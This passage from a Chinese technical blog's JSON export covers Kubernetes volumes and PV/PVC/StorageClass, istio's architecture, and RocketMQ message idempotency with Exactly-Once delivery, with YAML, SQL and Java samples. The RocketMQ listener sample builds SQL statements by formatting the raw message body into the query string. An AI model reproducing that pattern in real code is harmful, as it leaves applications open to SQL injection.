","date":"2021-11-27T10:31:28Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-27-ru-he-ke-xue-xuan-gou-da-mi/cover.jpg","permalink":"/p/2021-11-27-ru-he-ke-xue-xuan-gou-da-mi/","title":"如何科学选购大米"},{"content":"Docker 当我们使用 Docker 时，设置数据卷（Volume）还是比较简单的，只需要在容器映射指定卷的路径，然后在容器中使用该路径即可。\n比如这种：\n1# tomcat 2 tomcat01: 3 hostname: tomcat01 4 restart: always 5 image: jdk-tomcat:v8 6 container_name: tomcat8-1 7 links: 8 - mysql:mysql 9 volumes: 10 - /home/soft/docker/tomcat/webapps:/usr/local/apache-tomcat-8.5.39/webapps 11 - /home/soft/docker/tomcat/logs:/usr/local/apache-tomcat-8.5.39/logs 12 - /etc/localtime:/etc/localtime 13 environment: 14 JAVA_OPTS: -Dspring.profiles.active=prod 15 TZ: Asia/Shanghai 16 LANG: C.UTF-8 17 LC_ALL: zh_CN.UTF-8 18 env_file: 19 - /home/soft/docker/env/tomcat.env 为什么要设置 Volume？当然是因为我们要持久化数据，要把数据存储到硬盘上。\nk8s 到了 k8s 这儿，你会发现事情没那么简单了，涌现出了一堆概念：\nPv Pvc StorageClass Provisioner \u0026hellip; 先不管这些复杂的概念，我只想存个文件，有没有简单的方式？\n有，我们先回顾下基本概念。\n我们知道，Container 中的文件在磁盘上是临时存放的，当容器崩溃时文件丢失。kubelet 会重新启动容器， 但容器会以干净的状态重启。所以我们要使用 Volume 来持久化数据。\n“\nDocker 也有 卷（Volume） 的概念，但对它只有少量且松散的管理。Docker 卷是磁盘上或者另外一个容器内的一个目录 Docker 提供卷驱动程序，但是其功能非常有限。\n”\n“\nKubernetes 支持很多类型的卷。Pod 可以同时使用任意数目的卷类型。\n”\n“\n临时卷类型的生命周期与 Pod 相同，但持久卷可以比 Pod 的存活期长。当 Pod 不再存在时，Kubernetes 也会销毁临时卷；不过 Kubernetes 不会销毁 持久卷。对于给定 Pod 中任何类型的卷，在容器重启期间数据都不会丢失。\n”\n“\n卷的核心是一个目录，其中可能存有数据，Pod 中的容器可以访问该目录中的数据。所采用的特定的卷类型将决定该目录如何形成的、使用何种介质保存数据以及目录中存放 的内容。\n”\n“\n使用卷时，在 .spec.volumes 字段中设置为 Pod 提供的卷，并在 .spec.containers[*].volumeMounts 字段中声明卷在容器中的挂载位置。各个卷则挂载在镜像内的指定路径上。卷不能挂载到其他卷之上，也不能与其他卷有硬链接。Pod 配置中的每个容器必须独立指定各个卷的挂载位置。\n”\n通过上面的概念我们知道 Volume 有不同的类型，有临时的，也有持久的，那么我们先说说简单的，即解决“我只想存个文件，有没有简单的方式”的需求。\nhostPath hostPath 卷能将主机节点文件系统上的文件或目录挂载到你的 Pod 中。看个示例：\n1apiVersion: v1 2kind: Pod 3metadata: 4 name: test-webserver 5spec: 6 containers: 7 - name: test-webserver 8 image: k8s.gcr.io/test-webserver:latest 9 volumeMounts: 10 - mountPath: /var/local/aaa 11 name: mydir 12 - mountPath: /var/local/aaa/1.txt 13 name: myfile 14 volumes: 15 - name: mydir 16 hostPath: 17 # 确保文件所在目录成功创建。 18 path: /var/local/aaa 19 type: DirectoryOrCreate 20 - name: myfile 21 hostPath: 22 path: /var/local/aaa/1.txt 23 type: FileOrCreate 通过 hostPath 能够简单解决文件在宿主机上存储的问题。\n不过需要注意的是：\nHostPath 卷存在许多安全风险，最佳做法是尽可能避免使用 HostPath。当必须使用 HostPath 卷时，它的范围应仅限于所需的文件或目录，并以只读方式挂载。\n使用 hostPath 还有一个局限性就是，我们的 Pod 不能随便漂移，需要固定到一个节点上，因为一旦漂移到其他节点上去了宿主机上面就没有对应的数据了，所以我们在使用 hostPath 的时候都会搭配 nodeSelector 来进行使用。\nemptyDir emptyDir 也是比较常见的一种存储类型。\n上面的 hostPath 显示的定义了宿主机的目录。emptyDir 类似隐式的指定。\nKubernetes 会在宿主机上创建一个临时目录，这个目录将来就会被绑定挂载到容器所声明的 Volume 目录上。而 Pod 中的容器，使用的是 volumeMounts 字段来声明自己要挂载哪个 Volume，并通过 mountPath 字段来定义容器内的 Volume 目录\n“\n当 Pod 分派到某个 Node 上时，emptyDir 卷会被创建，并且在 Pod 在该节点上运行期间，卷一直存在。就像其名称表示的那样，卷最初是空的。尽管 Pod 中的容器挂载 emptyDir 卷的路径可能相同也可能不同，这些容器都可以读写 emptyDir 卷中相同的文件。当 Pod 因为某些原因被从节点上删除时，emptyDir 卷中的数据也会被永久删除。\n”\n1apiVersion: v1 2kind: Pod 3metadata: 4 name: test-pd 5spec: 6 containers: 7 - image: k8s.gcr.io/test-webserver 8 name: test-container 9 volumeMounts: 10 - mountPath: /cache 11 name: cache-volume 12 volumes: 13 - name: cache-volume 14 emptyDir: {} 如果执行 kubectl describe 命令查看 pod 信息的话，可以验证前面我们说的内容：\u0026ldquo;EmptyDir (a temporary directory that shares a pod\u0026rsquo;s lifetime)\u0026rdquo;\n1... 2Containers: 3 nginx: 4 Container ID: docker://07b4f89248791c2aa47787e3da3cc94b48576cd173018356a6ec8db2b6041343 5 Image: nginx:1.8 6 ... 7 Environment: \u0026lt;none\u0026gt; 8 Mounts: 9 /usr/share/nginx/html from nginx-vol (rw) 10... 11Volumes: 12 nginx-vol: 13 Type: EmptyDir (a temporary directory that shares a pod\u0026#39;s lifetime) PV 和 PVC PV(PersistentVolume): 持久化卷 PVC(PersistentVolumeClaim): 持久化卷声明 PV 和 PVC 的关系就像 java 中接口和实现的关系类似。\nPVC 是用户存储的一种声明，PVC 和 Pod 比较类似，Pod 消耗的是节点，PVC 消耗的是 PV 资源，Pod 可以请求 CPU 和内存，而 PVC 可以请求特定的存储空间和访问模式。对于真正使用存储的用户不需要关心底层的存储实现细节，只需要直接使用 PVC 即可。\nPV 是对底层共享存储的一种抽象，由管理员进行创建和配置，它和具体的底层的共享存储技术的实现方式有关，比如 Ceph、GlusterFS、NFS、hostPath 等，都是通过插件机制完成与共享存储的对接。\n我们来看一个例子：\n比如，运维人员可以定义这样一个 NFS 类型的 PV\n1apiVersion: v1 2kind: PersistentVolume 3metadata: 4 name: nfs 5spec: 6 storageClassName: manual 7 capacity: 8 storage: 1Gi 9 accessModes: 10 - ReadWriteMany 11 nfs: 12 server: 10.244.1.4 13 path: \u0026#34;/\u0026#34; PVC 描述的，则是 Pod 所希望使用的持久化存储的属性。比如，Volume 存储的大小、可读写权限等等。\n1 2apiVersion: v1 3kind: PersistentVolumeClaim 4metadata: 5 name: nfs 6spec: 7 accessModes: 8 - ReadWriteMany 9 storageClassName: manual 10 resources: 11 requests: 12 storage: 1Gi 用户创建的 PVC 要真正被容器使用起来，就必须先和某个符合条件的 PV 进行绑定。\n第一个条件是 PV 和 PVC 的 spec 字段。比如，PV 的存储（storage）大小，就必须满足 PVC 的要求。 第二个条件，则是 PV 和 PVC 的 storageClassName 字段必须一样 在成功地将 PVC 和 PV 进行绑定之后，Pod 就能够像使用 hostPath 等常规类型的 Volume 一样，在自己的 YAML 文件里声明使用这个 PVC 了\n1apiVersion: v1 2kind: Pod 3metadata: 4 labels: 5 role: web-frontend 6spec: 7 containers: 8 - name: web 9 image: nginx 10 ports: 11 - name: web 12 containerPort: 80 13 volumeMounts: 14 - name: nfs 15 mountPath: \u0026#34;/usr/share/nginx/html\u0026#34; 16 volumes: 17 - name: nfs 18 persistentVolumeClaim: 19 claimName: nfs 我们前面使用的 hostPath 和 emptyDir 类型的 Volume 并不具备“持久化”特征，既有可能被 kubelet 清理掉，也不能被“迁移”到其他节点上。所以，大多数情况下，持久化 Volume 的实现，往往依赖于一个远程存储服务，比如：远程文件存储（比如，NFS、GlusterFS）、远程块存储（比如，公有云提供的远程磁盘）等等。\nStorageClass 前面我们人工管理 PV 的方式就叫作 Static Provisioning。\n一个大规模的 Kubernetes 集群里很可能有成千上万个 PVC，这就意味着运维人员必须得事先创建出成千上万个 PV。更麻烦的是，随着新的 PVC 不断被提交，运维人员就不得不继续添加新的、能满足条件的 PV，否则新的 Pod 就会因为 PVC 绑定不到 PV 而失败。在实际操作中，这几乎没办法靠人工做到。所以，Kubernetes 为我们提供了一套可以自动创建 PV 的机制，即：Dynamic Provisioning。\nDynamic Provisioning 机制工作的核心，在于一个名叫 StorageClass 的 API 对象。而 StorageClass 对象的作用，其实就是创建 PV 的模板。\n具体地说，StorageClass 对象会定义如下两个部分内容：\n第一，PV 的属性。比如，存储类型、Volume 的大小等等。 第二，创建这种 PV 需要用到的存储插件。比如，Ceph 等等。 有了这样两个信息之后，Kubernetes 就能够根据用户提交的 PVC，找到一个对应的 StorageClass 了。然后，Kubernetes 就会调用该 StorageClass 声明的存储插件，创建出需要的 PV。\n在下面的例子中，PV 是被自动创建出来的。\n1apiVersion: v1 2kind: PersistentVolumeClaim 3metadata: 4 name: claim1 5spec: 6 accessModes: 7 - ReadWriteOnce 8# 指定所使用的存储类，此存储类将会自动创建符合要求的 PV 9 storageClassName: fast 10 resources: 11 requests: 12 storage: 30Gi 13 14apiVersion: storage.k8s.io/v1 15kind: StorageClass 16metadata: 17 name: fast 18provisioner: kubernetes.io/gce-pd 19parameters: 20 type: pd-ssd StorageClass 的作用，则是充当 PV 的模板。并且，只有同属于一个 StorageClass 的 PV 和 PVC，才可以绑定在一起。StorageClass 的另一个重要作用，是指定 PV 的 Provisioner（存储插件）。这时候，如果你的存储插件支持 Dynamic Provisioning 的话，Kubernetes 就可以自动为你创建 PV 了。\nLocal PV Kubernetes 依靠 PV、PVC 实现了一个新的特性，这个特性的名字叫作：Local Persistent Volume，也就是 Local PV。\nLocal PV 实现的功能就非常类似于 hostPath 加上 nodeAffinity，比如，一个 Pod 可以声明使用类型为 Local 的 PV，而这个 PV 其实就是一个 hostPath 类型的 Volume。如果这个 hostPath 对应的目录，已经在节点 A 上被事先创建好了，那么，我只需要再给这个 Pod 加上一个 nodeAffinity=nodeA，不就可以使用这个 Volume 了吗？理论上确实是可行的，但是事实上，我们绝不应该把一个宿主机上的目录当作 PV 来使用，因为本地目录的存储行为是完全不可控，它所在的磁盘随时都可能被应用写满，甚至造成整个宿主机宕机。所以，一般来说 Local PV 对应的存储介质是一块额外挂载在宿主机的磁盘或者块设备，我们可以认为就是“一个 PV 一块盘”。\nLocal PV 和普通的 PV 有一个很大的不同在于 Local PV 可以保证 Pod 始终能够被正确地调度到它所请求的 Local PV 所在的节点上面，对于普通的 PV 来说，Kubernetes 都是先调度 Pod 到某个节点上，然后再持久化节点上的 Volume 目录，进而完成 Volume 目录与容器的绑定挂载，但是对于 Local PV 来说，节点上可供使用的磁盘必须是提前准备好的，因为它们在不同节点上的挂载情况可能完全不同，甚至有的节点可以没这种磁盘，所以，这时候，调度器就必须能够知道所有节点与 Local PV 对应的磁盘的关联关系，然后根据这个信息来调度 Pod，实际上就是在调度的时候考虑 Volume 的分布。\n例子：\n先创建本地磁盘对应的 pv\n1apiVersion: v1 2kind: PersistentVolume 3metadata: 4 name: example-pv 5spec: 6 capacity: 7 storage: 5Gi 8 volumeMode: Filesystem 9 accessModes: 10 - ReadWriteOnce 11 persistentVolumeReclaimPolicy: Delete 12 storageClassName: local-storage 13 local: 14 path: /mnt/disks/vol1 15 nodeAffinity: 16 required: 17 nodeSelectorTerms: 18 - matchExpressions: 19 - key: kubernetes.io/hostname 20 operator: In 21 values: 22 - node-1 其中：\nlcal.path 写对应的磁盘路径 必须指定对应的 node , 用 .spec.nodeAffinity 来对应的 node .spec.volumeMode 可以是 FileSystem（Default）和 Block 确保先运行了 StorageClass （即下面写的文件） 再写对于的 StorageClass 文件\n1kind: StorageClass 2apiVersion: storage.k8s.io/v1 3metadata: 4 name: local-storage 5provisioner: kubernetes.io/no-provisioner 6volumeBindingMode: WaitForFirstConsumer 其中：\nprovisioner 是 kubernetes.io/no-provisioner , 这是因为 local pv 不支持 Dynamic Provisioning, 所以它没有办法在创建出 pvc 的时候，自动创建对应 pv volumeBindingMode 是 WaitForFirstConsumer , WaitForFirstConsumer 即延迟绑定 , 这样可以既保证推迟到调度的时候再进行绑定 , 又可以保证调度到指定的 pod 上 , 其实 WaitForFirstConsumer 又 2 种：一种是 WaitForFirstConsumer , 一种是 Immediate , 这里必须用延迟绑定模式。 再创建一个 pvc\n1kind: PersistentVolumeClaim 2apiVersion: v1 3metadata: 4 name: example-local-claim 5spec: 6 accessModes: 7 - ReadWriteOnce 8 resources: 9 requests: 10 storage: 5Gi 11 storageClassName: local-storage 这里需要注意的地方就是 storageClassName 要写出我们之前自己创建的 storageClassName 的名字：local-storage\n之后应用这个文件 , 使用命令 kubectl get pvc 可以看到他的状态是 Pending , 这个时候虽然有了匹配的 pv , 但是也不会进行绑定 , 依然在等待。\n之后我们写个 pod 应用这个 pvc\n1kind: Pod 2apiVersion: v1 3metadata: 4 name: example-pv-pod 5spec: 6 volumes: 7 - name: example-pv-storage 8 persistentVolumeClaim: 9 claimName: example-local-claim 10 containers: 11 - name: example-pv-container 12 image: nginx 13 ports: 14 - containerPort: 80 15 name: \u0026#34;http-server\u0026#34; 16 volumeMounts: 17 - mountPath: \u0026#34;/usr/share/nginx/html\u0026#34; 18 name: example-pv-storage 这样就部署好了一个 local pv 在 pod 上 , 这样即使 pod 没有了 , 再次重新在这个 node 上创建，写入的文件也能持久化的存储在特定位置。\n如何删除这个 pv 一定要按照流程来 , 要不然会删除失败\n删除使用这个 pv 的 pod 从 node 上移除这个磁盘（按照一个 pv 一块盘） 删除 pvc 删除 pv 总结 本文我们讨论了 kubernetes 存储的几种类型，有临时存储如：hostPath、emptyDir,也有真正的持久化存储，还讨论了相关的概念，如：PVC、PV、StorageClass等,下图是对这些概念的一个概括：\n、\n参考 极客时间：深入剖析 Kubernetes 课程 https://kubernetes.io/zh/docs/concepts/storage/volumes/#emptydir https://www.qikqiak.com/k8strain/storage/local/ https://www.kubernetes.org.cn/4078.html https://haojianxun.github.io/2019/01/10/kubernetes%E7%9A%84%E6%9C%AC%E5%9C%B0%E6%8C%81%E4%B9%85%E5%8C%96%E5%AD%98%E5%82%A8--Local%20Persistent%20Volume%E8%A7%A3%E6%9E%90/ ","date":"2021-11-26T09:59:13Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-26-wo-jiu-xiang-cun-ge-wen-jian-zen-me-zhe-me-ma-fan-k8s-pv-pvc/cover.jpg","permalink":"/p/2021-11-26-wo-jiu-xiang-cun-ge-wen-jian-zen-me-zhe-me-ma-fan-k8s-pv-pvc/","title":"我就想存个文件，怎么这么麻烦 ？- k8s PV、PVC、StorageClass 的关系"},{"content":"前导 由于 istio 自 1.5 版本以后架构上有了较大变化，控制面从多组件变成了单体的 istiod 组件，所以下文会先介绍 1.5 之前的架构，再介绍 1.5 之后的，是一个由繁到简的过程。\nistio 1.5 之前架构 Istio 的架构分为控制平面和数据平面 数据平面：由一组智能代理（Envoy）以 sidecar 模式部署，协调和控制所有服务之间的网络通信。 控制平面：负责管理和配置代理路由流量，以及在运行时执行的政策。 可以看到控制面（control plane ）组件众多，下图是 1.1 版本所包含的组件：\nistio 工作原理 我们先按照 1.5 版本之前的架构描述\nSidecar 注入 (envoy) 详细的注入过程可以参考：https://blog.yingchi.io/posts/2020/6/istio-sidecar-injection.html\n连接 （pilot） 控制 \u0026amp;\u0026amp; 观测 （mixer telemetry、mixer policy） 保护（citadel） 配置 Galley 原来仅负责进行配置验证，1.1 后升级为整个控制面的配置管理中心，除了继续提供配置验证功能外，Galley 还负责配置的管理和分发，Galley 使用 网格配置协议 (Mesh Configuration Protocol) 和其他组件进行配置的交互。\n提供 istio 中的配置管理服务，验证 Istio 的 CRD 资源的合法性\nistio 各组件功能及作用 istio-polit: 服务发现，向数据平面下发规则，包括 VirtualService、DestinationRule、Gateway、ServicEntry 等流量治理规则，也包括认证授权等安全规则。 istio-telemetry: 专门收集遥测数据的 mixer 服务组件。 Istio-policy: 另外一个 mixer 服务，可以对接如配额、授权、黑白名单等不同的控制后端，对服务间的访问进行控制。 Istio-citadel: 核心安全组件，提供了自动生成、分发、轮换与撤销秘钥和证书的功能。 Istio-galley: 配置管理的组件，验证配置信息的格式和内容的正确性，并将这些配置信息提供给管理面的 Pilot 和 Mixer 使用。 Istio-sidecar-injector: 负责自动注入的组件。 Istio-proxy: 数据面的轻量代理。 Istio-ingressgateway: 入口处的 gateway。 istio 1.5 之后架构 之前版本的 istio 对组件进行了很好的解耦，组件们各司其职，当然也带来了组件比较多的问题。可以看到新版本将众多组件包装在了一起叫 istiod\n所以新版本 istio 核心组件就只剩下一个：istiod\n参考 https://www.infoq.cn/article/dtfjv1lu8fifvfqxmseh https://blog.yingchi.io/posts/2020/6/istio-sidecar-injection.html https://istio.io/ ","date":"2021-11-19T07:46:22Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-19-istio-yuan-li-jian-jie/cover.jpg","permalink":"/p/2021-11-19-istio-yuan-li-jian-jie/","title":"istio 原理简介"},{"content":"问题描述 消息队列的消息幂等性，主要是由 MQ 重试机制引起的。\n我们通常会认为，消息中间件是一个可靠的组件——这里所谓的可靠是指，只要我把消息成功投递到了消息中间件，消息就不会丢失，即消息肯定会至少保证消息能被消费者成功消费一次，这是消息中间件最基本的特性之一，也就是我们常说的“AT LEAST ONCE”，即消息至少会被“成功消费一遍”。\n举个例子，一个消息 M 发送到了消息中间件，消息投递到了消费程序 A，A 接受到了消息，然后进行消费，但在消费到一半的时候程序重启了，这时候这个消息并没有标记为消费成功，这个消息还会继续投递给这个消费者，直到其消费成功了，消息中间件才会停止投递。然而这种可靠的特性导致，消息可能被多次地投递。\n再举个例子，程序 A 接受到这个消息 M 并完成消费逻辑之后，正想通知消息中间件“我已经消费成功了”的时候，程序就重启了，那么对于消息中间件来说，这个消息并没有成功消费过，所以他还会继续投递。这时候对于应用程序 A 来说，看起来就是这个消息明明消费成功了，但是消息中间件还在重复投递。\n解决方案 基于业务表的去重 假如我们的逻辑是这样的：\n1 2select * from t_order where order_no = \u0026#39;order123\u0026#39; 3 4if(order != null) { 5 6 return ;//消息重复，直接返回 7 8} 那么在并下情况下可能会有问题（当业务还没处理完，此时并发的请求进来了，则会穿透掉检查的挡板），所以要考虑原子性问题。\n解决的办法在我们上一篇文章中也有介绍到，即使用：\n悲观锁（SELECT ... FOR UPDATE） 乐观锁 但无论是 select for update， 还是乐观锁这种解决方案，实际上都是基于业务表本身做去重，这无疑增加了业务开发的复杂度， 如果每个消费逻辑本身都需要基于业务本身而做去重/幂等的开发的话，这是繁琐的工作量。\n基于消息表+本地事务 我们以 RocketMQ 作为消息中间件为例， RocketMQ 的 文档 中描述道：\n“\nRocketMQ 无法避免消息重复（Exactly-Once），所以如果业务对消费重复非常敏感，务必要在业务层面进行去重处理。可以借助关系数据库进行去重。首先需要确定消息的唯一键，可以是 msgId，也可以是消息内容中的唯一标识字段，例如订单 Id 等。在消费之前判断唯一键是否在关系数据库中存在。如果不存在则插入，并消费，否则跳过。（实际过程要考虑原子性问题，判断是否存在可以尝试插入，如果报主键冲突，则插入失败，直接跳过）\n”\n“\nmsgId 一定是全局唯一标识符，但是实际使用中，可能会存在相同的消息有两个不同 msgId 的情况（消费者主动重发、因客户端重投机制导致的重复等），这种情况就需要使业务字段进行重复消费。\n”\n根据文档的描述我们得到了第一种解决方案，即通过去重表的方法，这点在上一篇文章 《幂等解决方案集合（一）》 中已有所描述，需要注意的是：\n“\n在消费之前判断唯一键是否在关系数据库中存在。如果不存在则插入，并消费，否则跳过。\n”\n具体来说，我们可以这样做：在数据库中增加一个消息消费记录表，把业务操作和这个消息插入的动作放到同一个事务中一起提交，就能保证消息只会被消费一遍了。\n开启事务 插入消息表（处理好主键冲突的问题） 更新订单表（原消费逻辑） 提交事务 但是这里有它的局限性\n消息的消费逻辑必须是依赖于关系型数据库事务。如果消费的消费过程中还涉及其他数据的修改，例如 Redis 这种不支持事务特性的数据源，则这些数据是不可回滚的。 数据库的数据必须是在一个库，跨库无法解决 使用 Exactly-Once 投递语义收发消息 Exactly-Once 投递语义\n以下引用自阿里云的文档：\n“\nExactly-Once是指发送到消息系统的消息只能被消费端处理且仅处理一次，即使生产端重试消息发送导致某消息重复投递，该消息在消费端也只被消费一次。\n”\n“\nExactly-Once语义是消息系统和流式计算系统中消息流转的最理想状态，但是在业界并没有太多理想的实现。因为真正意义上的 Exactly-Once 依赖消息系统的服务端、消息系统的客户端和用户消费逻辑这三者状态的协调。例如，当您的消费端完成一条消息的消费处理后出现异常宕机，而消费端重启后由于消费的位点没有同步到消息系统的服务端，该消息有可能被重复消费。\n”\n“\n业界对于Exactly-Once投递语义存在很大的争议，很多人会拿出“FLP 不可能理论”或者其他一致性定律对此议题进行否定，但事实上，特定场景的 Exactly-Once 语义实现并不是非常复杂，只是因为通常大家没有精确的描述问题的本质。\n”\n“\n如果您要实现一条消息的消费结果只能在业务系统中生效一次，您需要解决的只是如何保证同一条消息的消费幂等问题。消息队列RocketMQ版的Exactly-Once语义就是解决业务中最常见的一条消息的消费结果（消息在消费端计算处理的结果）在数据库系统中有且仅生效一次的问题。\n”\n典型使用场景\n“\n在电商系统中，上游实时计算模块发布商品价格变更的信息，异步通知到下游商品管理模块进行价格变更。此时，需要保证每一条信息的消费幂等，即重复的价格变更信息只会生效一次，这样便不会发生价格多次重复修改的情况，确保实现了消息消费的幂等。\n”\n操作步骤\n1 添加依赖\n消息队列 RocketMQ 版的 ExactlyOnceConsumer 在客户端 SDK ons-client-ext-1.8.4.Final 中发布，若要使用 Exactly-Once 投递语义，需在应用中依赖该 SDK。另外，ExactlyOnceConsumer 基于 Spring 实现了通过注解@MQTransaction 开启 Exactly-Once 消费的方式，因此还需要在应用中增加 Spring 3.0 以上版本的依赖。\n完整的依赖内容如下所示。\n1\u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;com.aliyun.openservices\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;ons-client-ext\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;1.8.4.Final\u0026lt;/version\u0026gt; 5\u0026lt;/dependency\u0026gt; 6\u0026lt;dependency\u0026gt; 7 \u0026lt;groupId\u0026gt;org.springframework\u0026lt;/groupId\u0026gt; 8 \u0026lt;artifactId\u0026gt;spring-context\u0026lt;/artifactId\u0026gt; 9 \u0026lt;version\u0026gt;${spring-version}\u0026lt;/version\u0026gt; 10\u0026lt;/dependency\u0026gt; 11\u0026lt;dependency\u0026gt; 12 \u0026lt;groupId\u0026gt;org.springframework\u0026lt;/groupId\u0026gt; 13 \u0026lt;artifactId\u0026gt;spring-jdbc\u0026lt;/artifactId\u0026gt; 14 \u0026lt;version\u0026gt;${spring-version}\u0026lt;/version\u0026gt; 15\u0026lt;/dependency\u0026gt; 2 在用于存储消息消费结果的数据库中创建 transaction_record 表 (注意：存储消息消费结果的数据库系统必须支持本地事务)\n若要使用消息队列 RocketMQ 版的 Exactly-Once 投递语义，您需要在业务处理结果持久化的数据库中创建一张 transaction_record 表，保证此表与存储业务处理结果的表在同一个数据库内，且该数据库支持本地事务。目前，消息队列 RocketMQ 版的 Exactly-Once 投递语义支持您的业务访问 MySQL 和 SQLServer 两种类型的数据源。这两种类型的数据源下 transaction_record 表的建表语句如以下所示 (mysql)。\n1CREATE TABLE `transaction_record` ( 2 `consumer_group` varchar(128) NOT NULL DEFAULT \u0026#39;\u0026#39;, 3 `message_id` varchar(255) NOT NULL DEFAULT \u0026#39;\u0026#39;, 4 `topic_name` varchar(255) NOT NULL DEFAULT \u0026#39;\u0026#39;, 5 `ctime` bigint(20) NOT NULL, 6 `queue_id` int(11) NOT NULL, 7 `offset` bigint(20) NOT NULL, 8 `broker_name` varchar(255) NOT NULL DEFAULT \u0026#39;\u0026#39;, 9 `id` bigint(20) NOT NULL AUTO_INCREMENT, 10 PRIMARY KEY (`id`), 11 UNIQUE KEY `message_id_unique_key` (`message_id`), 12 KEY `ctime_key` (`ctime`), 13 KEY `load_key` (`queue_id`,`broker_name`,`topic_name`,`ctime`) 14) ENGINE=InnoDB DEFAULT CHARSET=utf8; 3 在消息生产端使用 PropertyKeyConst.EXACTLYONCE_DELIVERY 属性设置打开 Exactly-Once 投递语义\n1/** 2 * TestExactlyOnceProducer 启动 3 * 通过 PropertyKeyConst.EXACTLYONCE_DELIVERY 开启 exactly-once 投递语义。 4 */ 5 6public class TestExactlyOnceProducer { 7 public static void main(String[] args) { 8 Properties producerProperties = new Properties(); 9 producerProperties.setProperty(PropertyKeyConst.GROUP_ID,\u0026#34;{GROUP_ID}\u0026#34;); 10 producerProperties.setProperty(PropertyKeyConst.AccessKey,\u0026#34;{accessKey}\u0026#34;); 11 producerProperties.setProperty(PropertyKeyConst.SecretKey,\u0026#34;{secretKey}\u0026#34;); 12 producerProperties.setProperty(PropertyKeyConst.NAMESRV_ADDR,\u0026#34;{NAMESRV_ADDR}\u0026#34;); 13 producerProperties.setProperty(PropertyKeyConst.EXACTLYONCE_DELIVERY,\u0026#34;true\u0026#34;); 14 Producer producer = ExactlyOnceONSFactory.createProducer(producerProperties); 15 producer.start(); 16 System.out.println(\u0026#34;Producer Started\u0026#34;); 17 18 for (int i = 0; i \u0026lt; 10; i++) { 19 Message message = new Message(\u0026#34;{topic}\u0026#34;, \u0026#34;{tag}\u0026#34;, \u0026#34;mq send transaction message test\u0026#34;.getBytes()); 20 try { 21 SendResult sendResult = producer.send(message); 22 assert sendResult != null; 23 System.out.println(new Date() + \u0026#34; Send mq message success! msgId is: \u0026#34; + sendResult.getMessageId()); 24 } catch (ONSClientException e) { 25 System.out.println(\u0026#34;发送失败\u0026#34;); 26 //出现异常意味着发送失败，为避免消息丢失，建议缓存该消息然后进行重试。 27 } 28 } 29 producer.shutdown(); 30 } 31} 4 在消息消费端创建 ExactlyOnceConsumer，并开启 Exactly-Once 的消费模式。\n使用消息队列 RocketMQ 版的 Exactly-Once 投递语义进行消费时，消费端需要使用 ExactlyOnceONSFactory 调用 createExactlyOnceConsumer 接口创建 ExactlyOnceConsumer，然后通过使用 ExactlyOnceConsumer 进行 Exactly-Once 模式的消费。\n在使用 ExactlyOnceConsumer 时，需要注意以下两点：\n创建 ExactlyOnceConsumer 时，可以通过设置 PropertyKeyConst.EXACTLYONCE_DELIVERY 属性打开或者关闭 Exactly-Once 投递语义。ExactlyOnceConsumer 默认打开 Exactly-Once 投递语义。 使用 ExactlyOnceConsumer 消费时，在消息监听器 MessageListener 的 consume 方法中，您的业务处理逻辑需要使用 MQDataSource 对数据库的进行读写操作。 您可以选择以下任一方式在消费端开启 Exactly-Once 投递语义：\n以非 Spring 方式开启 Exactly-Once 投递语义 MessageListener 中以事务方式实现多项数据库操作和消息消费的事务性 MessageListener 中通过 Springboot 注解方式实现开启 Exactly-Once 投递语义 MessageListener 中通过 MyBatis 方式实现 Exactly-Once 投递语义 以下示例为：MessageListener 中以事务方式实现多项数据库操作和消息消费的事务性，其他示例代码，请参考阿里云文档：https://help.aliyun.com/document_detail/102777.html\n1/** 2 * TestExactlyOnceListener 实现。 3 * 实现了一个事务中对多个业务表进行更新的场景，保证事务内的操作有且仅有一次生效。 4 */ 5public class SimpleTxListener implements MessageListener { 6 private MQDataSource dataSource; 7 8 public SimpleTxListener() { 9 this.dataSource = new MQDataSource(\u0026#34;{url}\u0026#34;, \u0026#34;{user}\u0026#34;, \u0026#34;{passwd}\u0026#34;, \u0026#34;{driver}\u0026#34;); 10 } 11 12 @Override 13 public Action consume(Message message, ConsumeContext context) { 14 Connection connection = null; 15 Statement statement = null; 16 try { 17 /** 18 * 在此处对消费到的消息 message 做业务计算处理，使用 MQDataSource 将处理结果持久化到数据库系统。 19 * 此范例演示了在一个事务内对多个表进行更新的业务场景，Exactly-Once 投递语义保证事务内的操作有且仅有一次。 20 * 实际的业务处理按照：接收消息-\u0026gt;业务处理-\u0026gt;结果持久化的流程来设计。 21 */ 22 connection = dataSource.getConnection(); 23 connection.setAutoCommit(false); 24 String insertSql = String.format(\u0026#34;INSERT INTO app(msg, message_id, ctime) VALUES(\\\u0026#34;%s\\\u0026#34;, \\\u0026#34;%s\\\u0026#34;, %d)\u0026#34;, 25 new String(message.getBody()), message.getMsgID(), System.currentTimeMillis()); 26 String updateSql = String.format(\u0026#34;UPDATE consume_count SET cnt = count + 1 WHERE consumer_group = \\\u0026#34;%s\\\u0026#34;\u0026#34;, \u0026#34;GID_TEST\u0026#34;); 27 statement = connection.createStatement(); 28 statement.execute(insertSql); 29 statement.execute(updateSql); 30 connection.commit(); 31 System.out.println(\u0026#34;consume message :\u0026#34; + message.getMsgID()); 32 return Action.CommitMessage; 33 } catch (Throwable e) { 34 try { 35 connection.rollback(); 36 } catch (Exception e1) { 37 } 38 System.out.println(\u0026#34;consume message fail\u0026#34;); 39 return Action.ReconsumeLater; 40 } finally { 41 if (statement != null) { 42 try { 43 statement.close(); 44 } catch (Exception e) { } 45 } 46 if (connection != null) { 47 try { 48 connection.close(); 49 } catch (Exception e) { } 50 } 51 } 52 } 53} 总结\n你可以看到，这种方式是阿里云做了封装，但理论上跟上一个方案 基于消息表+本地事务 是一样的。\n利用 Redis 最后这种方案其实思路跟 基于消息表+本地事务 类似，只不过判断是否重复消息用 Redis 分布式锁实现，关于具体实现步骤也跟我们上一篇文章类似，请参考上一篇文章。\n最后 当消费者出现异常，可以让其重试几次，如果重试几次后，仍然有异常，则需要进行数据补偿。数据补偿方案：当重试多次后仍然出现异常，则让此条消息进入 死信队列，最终进入到数据库中，接着设置定时 job 查询这些数据，进行手动补偿。\n参考 https://github.com/apache/rocketmq/blob/master/docs/cn/best_practice.md 